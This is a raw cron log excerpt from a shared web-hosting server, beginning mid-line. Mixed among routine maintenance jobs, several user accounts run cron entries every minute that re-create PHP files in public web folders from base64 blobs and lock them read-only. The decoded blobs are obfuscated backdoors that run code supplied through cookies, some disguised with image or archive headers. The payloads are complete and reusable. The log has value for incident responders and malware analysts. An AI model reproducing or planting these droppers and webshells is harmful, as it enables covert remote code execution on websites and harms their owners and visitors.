3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:58:01 medusa CROND[31201]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:58:01 medusa CROND[31202]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 01:58:01 medusa CROND[31203]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:58:01 medusa CROND[31204]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:58:01 medusa CROND[31206]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:58:01 medusa CROND[31207]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:58:01 medusa CROND[31210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:58:01 medusa CROND[31211]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:58:01 medusa CROND[31213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:58:01 medusa CROND[31217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:58:01 medusa CROND[31218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:58:01 medusa CROND[31219]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:58:01 medusa CROND[31220]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:58:01 medusa CROND[31222]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:59:01 medusa CROND[4322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:59:01 medusa CROND[4443]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:59:01 medusa CROND[4444]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:59:01 medusa CROND[4445]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:59:01 medusa CROND[4450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:59:01 medusa CROND[4452]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:59:01 medusa CROND[4453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:59:01 medusa CROND[4455]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:59:01 medusa CROND[4457]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:59:01 medusa CROND[4463]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:59:01 medusa CROND[4467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:59:01 medusa CROND[4468]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:00:01 medusa CROND[11703]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:00:01 medusa CROND[11704]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 02:00:01 medusa CROND[11707]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:00:01 medusa CROND[11716]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:00:01 medusa CROND[11837]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:00:01 medusa CROND[11988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:00:02 medusa CROND[12026]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:00:02 medusa CROND[12025]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
